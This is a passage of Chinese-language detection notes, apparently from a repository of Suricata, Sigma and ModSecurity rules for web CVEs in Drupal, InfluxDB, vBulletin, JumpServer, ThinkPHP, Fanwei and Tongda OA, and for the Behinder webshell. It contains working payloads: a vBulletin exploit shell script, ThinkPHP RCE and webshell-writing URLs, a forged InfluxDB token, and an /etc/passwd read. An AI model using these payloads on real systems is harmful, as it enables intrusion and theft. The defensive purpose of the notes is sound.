data-drupal-selector=\"drupal-settings-json\">{\"path\":{\"baseUrl\":\"\\/\",\"scriptPath\":null,\"pathPrefix\":\"\",\"currentPath\":\"admin\\/config\\/media\\/file-system\",\"currentPathIsAdmin\":true,\"isFront\":false,\"currentLanguage\":\"en\"},\"pluralDelimiter\":\"\\u0003\",\"ajaxPageState\":{\"libraries\":\"classy\\/base,classy\\/messages,contextual\\/drupal.contextual-links,contextual\\/drupal.contextual-toolbar,core\\/drupal.active-link,core\\/html5shiv,core\\/normalize,seven\\/global-styling,shortcut\\/drupal.shortcut,toolbar\\/toolbar,toolbar\\/toolbar.escapeAdmin,tour\\/tour,user\\/drupal.user.icons\",\"theme\":\"seven\",\"theme_token\":\"dSH29E-Om61JkNx9kdM-3k77DozHJOeg_hetRt6HTOo\"},\"ajaxTrustedUrl\":{\"form_action_p_pvdeGsVG5zNF_XLGPTvYSKCf43t8qZYSwcfZl2uzM\":true},\"toolbar\":{\"breakpoints\":{\"toolbar.narrow\":\"only screen and (min-width: 16.5em)\",\"toolbar.standard\":\"only screen and (min-width: 38.125em)\",\"toolbar.wide\":\"only screen and (min-width: 61em)\"},\"subtreesHash\":\"q5SbYHg6y4E5ktkc8Idp0_YGhICDGzYrK47EstXN08M\"},\"user\":{\"uid\":\"1\",\"permissionsHash\":\"d050762cf90cd597087f492abb3a179258136b50c38a41d068c2cca748489bc0\"}}</script>\n<script src=\"/sites/default/files/js/js_BKcMdIbOMdbTdLn9dkUq3KCJfIKKo2SvKoQ1AnB8D-g.js\"></script>------\n<!--[if lte IE 9]>\n<script src=\"/sites/default/files/js/js_VhqXmo4azheUjYC30rijnR_Dddo0WjWkF27k5gTL8S4.js\"></script>\n<![endif]-->\n<script src=\"/sites/default/files/js/js_vmYBmsMCxrmurAYwjC1NnhJYlQfB1pS1mAlU__M2ar8.js\"></script>------\n  </body>\n</html>------\n```\n- -----\n## 检测规则/思路------\n### Suricata规则------\n```\ns\nalert http any any -> any any (msg:\"CVE-2019-6339-Drupal远程代码执行漏洞\";flow:established,to_server;content:\"POST\";http_method;content:\"/admin/config/media/file-system\";http_uri;content:\"phar%3A%2F%2F.%2Fsites%2Fdefault%2Ffiles%2Fpictures%2F\";http_client_body;reference:url,blog.csdn.net/qq_40989258/article/details/104970882;classtype:web-application-attck;sid:3002021;rev:1;)------\n```\n- -----\n### 建议------\n流量+安全设备比较容易检测到此攻击行为。------\n## 参考推荐------\nMITRE-ATT&CK-T1190------\n<https://attack.mitre.org/techniques/T1190/>------\n(环境搭建+复现) CVE-2019-6339 Drupal远程代码执行漏洞------\n<https://blog.csdn.net/qq_40989258/article/details/104970882>\n"
  },
  {
    "path": "Web/long time/T1190-Influxdb<1.7.6未授权访问漏洞.md",
    "content": "# T1190-Influxdb<1.7.6未授权访问漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nInfluxDB是一个使用Go语言编写的开源分布式，支持高并发的时序数据库，其使用JWT作为鉴权方式。在用户开启了认证，但未设置参数shared-secret的情况下，JWT的认证密钥为空字符串，此时攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。\n影响版本：Influxdb < 1.7.6\n## 检测日志\nHTTP\n## 测试复现\n具体测试过程请参考：<https://blog.csdn.net/weixin_43416469/article/details/113843301>\n## 测试留痕\n```\nyml\nPOST /query HTTP/1.1\nHost: 10.7.2.106:8086\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36\nAccept: */*\nAccept-Encoding: gzip, deflate\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjE2MjM5MDIyfQ.9ZTT-ppj20hPXZaUoSxTWf0Mei-idhAU2FaoaQgJJm8\nAccept-Language: zh-CN,zh;q=0.9,be;q=0.8\nContent-Type: application/x-www-form-urlencoded\nConnection: close\nContent-Length: 26\ndb=sample&q=show+users\nHTTP/1.1 200 OK\nContent-Encoding: gzip\nContent-Type: application/json\nRequest-Id: 19c6cf88-1a5b-11eb-800c-000000000000\nX-Influxdb-Build: OSS\nX-Influxdb-Version: 1.6.6\nX-Request-Id: 19c6cf88-1a5b-11eb-800c-000000000000\nDate: Fri, 30 Oct 2020 02:53:34 GMT\nConnection: close\nTransfer-Encoding: chunked\n69\n..........,.=\n. .D...So..^E$H.BP...Fr.`....{.....!N.e....Z...e....h...pe.!.^......*~.L.S..~w......8..c...\n0\n```\n## 检测规则/思路\n### Suricata规则\n```\ns\nalert http any any -> any any (msg:\"Influxdb<1.7.6未授权访问\";flow:established,to_server;content:\"POST\";http_method;content:\"/query\";http_uri;content:\"db=sample&q=show+users\";http_client_body;reference:url,blog.csdn.net/weixin_43416469/article/details/113843301;classtype:web-application-attck;sid:3002021;rev:1;)\n```\n### 建议\n流量+安全设备较容易检测到此攻击行为。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\ninfluxdb未授权访问漏洞\n<https://blog.csdn.net/weixin_43416469/article/details/113843301>\n"
  },
  {
    "path": "Web/long time/T1190-IvBulletin5.X-RCE检测.md",
    "content": "# T1190-vBulletin5.X-RCE检测\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## CVE-2015-7808漏洞\nvBulletin是用PHP编写的可定制的论坛程序套件。\nvBulletin 5.1.4-5.1.9版本，某些内部API处理Ajax请求时，未验证其来源，这可使攻击者无需身份验证调用继承自vB_Api及/core/vb/api/下任意类的任意公共方法，其中decodeArguments()方法内的unserialize()函数存在安全漏洞，可使攻击者在‘$args’变量中注入精心构造的任意对象，远程执行php代码，获取服务器权限。\n### 影响版本\nVBulletin 5.1.4 - 5.1.9\n### 测试案例\n请参考：\nvBulletin5.X前台RCE分析（CVE-2015-7808）\n<https://xz.aliyun.com/t/6497>\nvBulletin 5 全版本远程代码执行漏洞分析\n<https://www.anquanke.com/post/id/82870>\n### 检测日志\n访问日志\n### 测试复现\n```\nyml\nGET /vBulletin/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bs%3A9%3A%22phpinfo%28%29%22%3B%7D HTTP/1.1\nHost: 192.168.0.106\nCookie: XDEBUG_SESSION=PHPSTORM\nConnection: close\n```\n解码后：\n```\nyml\nGET /vBulletin/ajax/api/hook/decodeArguments?arguments=O:12:\"vB_dB_Result\":2:{s:5:\"*db\";O:17:\"vB_Database_MySQL\":1:{s:9:\"functions\";a:1:{s:11:\"free_result\";s:6:\"assert\";}}s:12:\"*recordset\";s:9:\"phpinfo()\";} HTTP/1.1\n```\n### 测试留痕\n暂无\n### 检测规则/思路\nsigma规则\n```\nyml\ntitle: vBulletin5.X-CVE-2015-7808-RCE-检测规则\ndescription: 通过访问日志检测CVE-2015-7808远程命令执行漏洞利用行为\ntranslator: 12306Bro\ndate: 2020/12/16\nstatus: experimental\nreferences:\n    - https://xz.aliyun.com/t/6497\nlogsource:\n    category: webserver\ndetection:\n    selection:\n        c-uri:\n            - '*/ajax/api/hook/decodeArguments?arguments=*'\n    condition: selection\nfields:\n    - c-ip\n    - c-dns\nfalsepositives:\n    - Unknown\nlevel: critical\n```\n## CVE-2019-16759\n近期，vBulletin披露了一个最新的0 day漏洞细节，这个漏洞分配的CVE编号为CVE-2019-16759。与此同时，Unit 42的安全研究人员也在网上发现了有很多攻击者正在利用该漏洞来实施攻击。在该漏洞的帮助下，未经身份验证的攻击者将能够访问和控制运行了v5.0.0至v5.5.4版本vBulletin的服务器，并且阻止网络管理员访问这些服务器。目前，使用了vBulletin的网站数量大约有10万多个，其中包括很多大型企业、组织和论坛，因此该漏洞应当立刻被修复。\n### 影响范围\n仅影响 vBulletin 5.x 版本\n### 测试记录\n请参考：\nCVE-2019-16759漏洞在野利用\n<https://www.anquanke.com/post/id/189470>\nCVE-2019-16759 vBulletin 5.x RCE 复现\n<https://blog.csdn.net/weixin_41064688/article/details/108060313>\nCVE-2019-16759 vBulletin 5.x 未授权远程代码执行漏洞\n<https://github.com/jas502n/CVE-2019-16759>\n### 检测日志类型\n访问日志 OR HTTP.log\n### 测试复现过程\nPOC1\n```\nyml\nhttp://IP/?routestring=ajax%2Frender%2Fwidget_php&widgetConfig[code]=phpinfo();exit;\n```\nPOC2:CVE-2019-16759 vBulletin 5.x 未授权远程代码执行漏洞\n```\npython\nimport requests\nimport sys\nif len(sys.argv) != 2:\n    sys.exit(\"Usage: %s <URL to vBulletin>\" % sys.argv[0])\nproxies ={\n     \"http\":\"http://127.0.0.1:8080/\"\n}\nparams = {\"routestring\":\"ajax/render/widget_php\"}\nwhile True:\n     try:\n          cmd = raw_input(\">>>Shell= \")\n          params[\"widgetConfig[code]\"] = \"echo shell_exec('\"+cmd+\"');echo md5('vBulletin'); exit;\"\n          r = requests.post(url = sys.argv[1], data = params, proxies=proxies)\n          if r.status_code == 200 or r.status_code ==403 and 'be4ea51d962be8308a0099ae1eb3ec63' in r.text:\n               print\n               print r.text.split('be4ea51d962be8308a0099ae1eb3ec63')[0]\n          else:\n               sys.exit(\"Exploit failed! :(\")\n     except KeyboardInterrupt:\n          sys.exit(\"\\nClosing shell...\")\n     except Exception, e:\n          sys.exit(str(e))\n```\n### 测试痕迹\n暂无，但可查看攻击报文样例辅助安全人员研判是否为攻击行为，较简单的场景。\n<https://github.com/jas502n/CVE-2019-16759>\n### 检测规则\nsigma规则\n```\nyml\ntitle: vBulletin5.X-CVE-2015-7808-RCE-检测规则\ndescription: 通过访问日志检测CVE-2015-7808远程命令执行漏洞利用行为\ntranslator: 12306Bro\ndate: 2020/12/16\nstatus: experimental\nreferences:\n    - https://github.com/jas502n/CVE-2019-16759\n    - https://blog.csdn.net/weixin_41064688/article/details/108060313\nlogsource:\n    category: webserver\ndetection:\n    selection1:\n        c-uri:\n            - '*?routestring=ajax%2Frender%2Fwidget_php&widgetConfig*' #匹配此特征\n    selection2:\n        body:\n            - '*routestring=ajax/render/widget_php&widgetConfig[code]=die(@mid5(*))' #根据报文内容进行判断，多为post\n    condition: selection1 or selection2\nfields:\n    - c-ip\n    - c-dns\nfalsepositives:\n    - Unknown\nlevel: critical\n```\n## 备注\n在进行部分攻击日志分析时，遇到此漏洞特征，仅做记录。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nvBulletin5.X前台RCE分析（CVE-2015-7808）\n<https://xz.aliyun.com/t/6497>\nvBulletin 5 全版本远程代码执行漏洞分析\n<https://www.anquanke.com/post/id/82870>\nCVE-2019-16759漏洞在野利用\n<https://www.anquanke.com/post/id/189470>\nCVE-2019-16759 vBulletin 5.x RCE 复现\n<https://blog.csdn.net/weixin_41064688/article/details/108060313>\nCVE-2019-16759 vBulletin 5.x 未授权远程代码执行漏洞\n<https://github.com/jas502n/CVE-2019-16759>\n"
  },
  {
    "path": "Web/long time/T1190-JumpServer v2.6.1 RCE攻击检测.md",
    "content": "# T1190-JumpServer v2.6.1 RCE攻击检测\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## JumpServer v2.6.1 RCE(远程代码执行)\nJumpServer 是一款开源的堡垒机，是符合4A规范的运维安全审计系统，通俗来说就是跳板机.\n2021年1月15日，JumpServer 发布安全更新，修复了一处远程命令执行漏洞。由于 JumpServer某些接口未做授权限制，攻击者可构造恶意请求获取敏感信息，或者执行相关操作控制其中所有机器，执行任意命令。\n### 影响版本\nJumpServer < v2.6.2\nJumpServer < v2.5.4\nJumpServer < v2.4.5\nJumpServer = v1.5.9\n### 测试案例\n请参考：\nJumpServer v2.6.1 RCE(远程代码执行) 复现总结\n<https://www.cnblogs.com/w0x68y/p/14340249.html>\nJumpserver-RCE复现及告警规则\n<https://www.freebuf.com/vuls/261199.html>\n### 检测日志\n访问日志\n### 测试复现\n请参考：\nJumpServer v2.6.1 RCE(远程代码执行) 复现总结\n<https://www.cnblogs.com/w0x68y/p/14340249.html>\n### 测试留痕\n暂无\n### 检测规则/思路\nmodsecurity判定规则\n在这种场景下，基本上看到这个uri请求我们就可以断言这是一个报警，因此编写规则如下:\nSecRule REQUEST_URI \"/ws/ops/tasks/log\" \"id:11111111,phase:1,id:52,t:none,t:urlDecode,t:lowercase,t:normalizePath,msg:'jump-rce'\"\n## 备注\n本文内容多数摘自互联网网络，未经过本人实际环境测试，慎重上线使用。\nModSecurity是一个开源的跨平台Web应用程序防火墙（WAF）引擎，用于Apache，IIS和Nginx，由Trustwave的SpiderLabs开发。作为WAF产品，ModSecurity专门关注HTTP流量，当发出HTTP请求时，ModSecurity检查请求的所有部分，如果请求是恶意的，它会被阻止和记录。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nJumpServer v2.6.1 RCE(远程代码执行) 复现总结\n<https://www.cnblogs.com/w0x68y/p/14340249.html>\nJumpserver-RCE复现及告警规则\n<https://www.freebuf.com/vuls/261199.html>\n"
  },
  {
    "path": "Web/long time/T1190-Thinkphp 5.x远程命令执行检测.md",
    "content": "# T1190-Thinkphp 5.x远程命令执行漏洞检测\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## CVE-2020-16875漏洞\n### 简介\nThinkPHP官方2018年12月9日发布重要的安全更新，修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新，由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞，受影响的版本包括5.0和5.1版本，推荐尽快更新到最新版本。\n### 影响版本\n5.x < 5.1.31, <= 5.0.23\n## 测试案例\n漏洞分析及漏洞利用可参考Thinkphp 5.x远程命令执行漏洞：\n<https://www.cnblogs.com/backlion/p/10106676.html>\n## 检测日志\nHTTP_log，访问日志也可以\n## 测试复现\n1.利用system函数远程命令执行\n```\nyml\nhttp://localhost:9096/public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami\n```\n2.通过phpinfo函数写出phpinfo()的信息\n```\nyml\nhttp://localhost:9096/public/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1\n```\n3.写入shell:\n```\nyml\nhttp://localhost:9096/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php\n```\n或者\n```\nyml\nhttp://localhost:9096/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>\n```\n## 测试留痕\n暂无\n## 检测规则/思路\n### sigma规则\n```\nyml\ntitle: Thinkphp 5.x远程命令执行漏洞\ndescription: 通过访问日志orHttp.log检测Thinkphp 5.x远程命令执行漏洞利用行为\ntranslator: 12306Bro\ndate: 2020/12/12\nstatus: experimental\nreferences:\n    - https://www.cnblogs.com/backlion/p/10106676.html\nlogsource:\n    category: webserver\ndetection:\n    selection:\n        c-uri:\n            - '/public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array'\n    condition: selection\nfields:\n    - c-ip\n    - c-dns\nfalsepositives:\n    - Unknown\nlevel: critical\n```\n## 备注\n在具体业务场景下遇到，特记录。可以根据具体payload来判断是否为真实攻击。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nThinkphp 5.x远程命令执行漏洞：\n<https://www.cnblogs.com/backlion/p/10106676.html>\n"
  },
  {
    "path": "Web/long time/T1190-泛微OA任意文件读取.md",
    "content": "# T1190-泛微OA任意文件读取\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\n泛微云桥（e-Bridge）是上海泛微公司在”互联网+”的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。泛微云桥存在任意文件读取漏洞，攻击者成功利用该漏洞，可实现任意文件读取，获取敏感信息。\n### 影响范围\n2018-2019多个版本\n## 检测日志\nHTTP\n## 测试复现\n第一步：/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt(windows)、使用/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt(linux)获取返回包有id字符串；\n第二步：通过id值获取文件内容(/file/fileNoLogin/id)\n## 测试留痕\n可参看此文章：<https://www.cnblogs.com/yuzly/p/13677238.html>\n## 检测规则/思路\n### Suricata规则\n```\nyml\nalert http any any -> any any (msg:\"泛微OA任意文件读取-rsq\";flow:established,to_server;content:\"GET\";http_method;content:\"/wxjsapi/saveYZJFile?fileName=test&downloadUrl=\";startswith;pcre:\"/&fileExt=txt/\";flowbits:set,first_get_rsq;noalert;http_uri;reference:url,www.cnblogs.com/yuzly/p/13677238.html;classtype:web-application-attck;sid:1;rev:1;)\nalert http any any -> any any (msg:\"泛微OA任意文件读取-resp\";flow:established,to_client;content:\"200\";http_stat_code;content:\"filepath\";http_server_body;flowbits:isset,first_get_rsq;flowbits:set,first_get_resp;noalert;sid:2;rev:1;)\nalert http any any -> any any (msg:\"泛微OA任意文件读取\";flow:established,to_server;content:\"GET\";http_method;content:\"/file/fileNoLogin/\";http_uri;flowbits:isset,first_get_resp;sid:3;rev:1;)\n```\n### 建议\n流量+安全设备比较容易检测到此攻击行为\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\n泛微云桥e-Bridge-任意文件读取漏洞\n<https://www.pianshen.com/article/15362003109/>\n"
  },
  {
    "path": "Web/long time/T1190-通达V11.6-RCE.md",
    "content": "# T1190-通达V11.6-RCE漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“ 利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\n通达OA（Office Anywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化系统，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。\n该exp会删除uth.inc.php文件导致OA系统系统异常。\n目前已知受影响版本：V11.6\n## 检测日志\nHTTP.log\n## 测试复现\n漏洞复现建议参考以下文章\n<https://www.cnblogs.com/L0ading/p/13529013.html>\n## 测试留痕\n可自行本地测试抓取流量\n## 检测规则/思路\n### Sigma规则\n建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。\n```\nyml\ntitle: 通达OA v11.6 RCE\ndescription: 检测通达OA v11.6 RCE漏洞\nauthor: 12306Bro\ndate: 2020/08/19\nstatus: experimental\nreferences:\n    - https://www.cnblogs.com/L0ading/p/13529013.html\nlogsource:\n    category: webserver\ndetection:\n    selection1:\n        c-uri:\n            - '//module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php' #响应包状态码为200\n            - '//inc/auth.inc.php' #响应包状态码为404，意味着删除成功\n        http.request.method: 'GET' #请求方法为GET\n        User-Agent: 'python-requests/*' #PY脚本自带\n    selection2:\n        c-uri:\n            - '//general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.%3C%3E./.%3C%3E./.%3C%3E./' #响应包状态码为200\n        http.request.method: 'POST' #请求方法为POST\n        User-Agent: 'python-requests/*' #PY脚本自带\n        Content-Disposition: form-data; name=\"FILE1\"; filename=\"*.php\" #写入shell文件\n    condition: selection1 or selection2 #当条件1和条件2出现任意一个时，意味着你可能正在遭受探测性攻击，如果在短时间内出现了条件1后，出现了条件2，并且返回包状态码为200，意味着攻击正在发生，可能入侵成功。\nfalsepositives:\n    - Unknown\nlevel: critical\n```\n此规则检测颗粒度较细，建议根据数据源等实际情况进行调整。\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\n最新通达OA11.6版本前台getshell漏洞复现\n<https://www.cnblogs.com/L0ading/p/13529013.html>\n"
  },
  {
    "path": "Web/long time/T1505-003-webshell-冰蝎v2.0.md",
    "content": "# T1505-003-webshell-冰蝎\n## 来自ATT&CK的描述\nWebshell是一个Web脚本，放置在可公开访问的Web服务器上，允许攻击者将Web服务器用作网络的网关。 Web shell可以提供多种功能，如虚拟终端、文件管理、数据库连接等。 除了服务器端脚本之外，Webshell可能还有一个客户端接口程序，用于与管理Web服务器的通信（例如，中国菜刀、C刀、蚁剑、冰蝎等）。\n## 测试案例\nPHP网站（Phpstudy+DVWA）\n冰蝎V1.0/V2.0（客户端+自带shell）\nwireshark（必备）\n## 检测日志\nHTTP流量\n## 测试复现\n利用DVWA相关漏洞，上传冰蝎默认webshell，利用冰蝎客户端对webshell进行管理，抓取冰蝎客户端与web服务器上的脚本之间的通讯流量。\n## 测试留痕\n### 冰蝎V1.0\n#### 1）正常流量\n**GET请求包**a\nGET /1.php HTTP/1.1\nHost: 192.168.66.136\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nReferer: <http://192.168.66.136/>\nDNT: 1\nConnection: keep-alive\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0\n**GET请求返回包**a\nHTTP/1.1 200 OK\nDate: Tue, 20 Aug 2019 02:50:43 GMT\nServer: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45\nX-Powered-By: PHP/5.4.45\nContent-Length: 4\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html\ntest\n**POST请求包**a\nPOST /DVWA/vulnerabilities/exec/ HTTP/1.1\nHost: 192.168.66.136\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 40\nDNT: 1\nConnection: keep-alive\nReferer: <http://192.168.66.136/DVWA/vulnerabilities/exec/>\nCookie: security=low; PHPSESSID=190krorgsuckk0elaa1tk0v891\nUpgrade-Insecure-Requests: 1\nip=127.0.0.1+%26%26+whoami&Submit=Submit\n**POST返回包**a\nHTTP/1.1 200 OK\nDate: Tue, 20 Aug 2019 02:52:47 GMT\nServer: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45\nX-Powered-By: PHP/5.4.45\nExpires: Tue, 23 Jun 2009 12:00:00 GMT\nCache-Control: no-cache, must-revalidate\nPragma: no-cache\nContent-Length: 5161\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html;charset=utf-8\n!DOCTYPE html PUBLIC \"-//W3C//DTD（此处省略更多字符信息）\n#### 2）冰蝎客户端与服务端通信流量\nGET请求包\n```\npacp\nGET /shell.php?pass=1 HTTP/1.1\nUser-Agent: Java/1.8.0_211\nHost: 192.168.66.136\nAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\nConnection: keep-alive\n```\nGET返回包\nHTTP/1.1 200 OK\nDate: Sun, 21 Jul 2019 02:51:55 GMT\nServer: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45\nX-Powered-By: PHP/5.4.45\nSet-Cookie: PHPSESSID=6dclf3mic9i86q7r6snpk34ef1; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nContent-Length: 16\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html\nf52eb8c003a3991b\nPOST请求包\n```\npacp\nPOST /shell.php HTTP/1.1\nContent-Type: application/octet-stream\nCookie: null;PHPSESSID=6dclf3mic9i86q7r6snpk34ef1; path=/\nCache-Control: no-cache\nPragma: no-cache\nUser-Agent: Java/1.8.0_211\nHost: 192.168.66.136\nAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\nConnection: keep-alive\nContent-Length: 1624\nD3dH8lwIFCCGYS9Yca  （此处省略加密字符信息）\n```\nPOST返回包\nHTTP/1.1 200 OK\nDate: Sun, 21 Jul 2019 02:51:55 GMT\nServer: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45\nX-Powered-By: PHP/5.4.45\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nKeep-Alive: timeout=5, max=99\nConnection: Keep-Alive\nTransfer-Encoding: chunked\nContent-Type: text/html\n1f4c0（此处省略加密字符信息）\n#### 3）正常流量VS冰蝎通讯流量\n从中可以看到冰蝎V1.0版本在初期交互通讯时，特征较为明显，user-agent与正常业务流量明显不同。可以通过对**user-agent**进行检测分析。其次在POST返回包中相对正常流量多了**Transfer-Encoding: chunked**，Transfer-Encoding主要是用来改变报文格式，这里指的是利用分块进行传输。你可以基于此特征值进行检测，当然，你也可以用更简单的方法进行检测，比如url中包含**.php?pass=**来进行检测。\n### 冰蝎V2.1\n从冰蝎V1.1开始新增随机UserAgent支持，每次会话会从17种常见UserAgent中随机选取。冰蝎最新版本为V2.1，可以通过对2.1版本服务端与客户端的通信流量，进行捕获，对比正常流量进行分析。\n#### 1）正常流量a\n**GET请求包**a\n同冰蝎V1.0章节\n**GET请求返回包**a\n同冰蝎V1.0章节\n**POST请求包**a\n同冰蝎V1.0章节\n**POST返回包**a\n同冰蝎V1.0章节\n#### 2）冰蝎客户端与服务端通信流量a\n**GET请求包**a\n```\npacp\nGET /DVWA/hackable/uploads/shell.php?pass=673 HTTP/1.1\nContent-type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)\nHost: 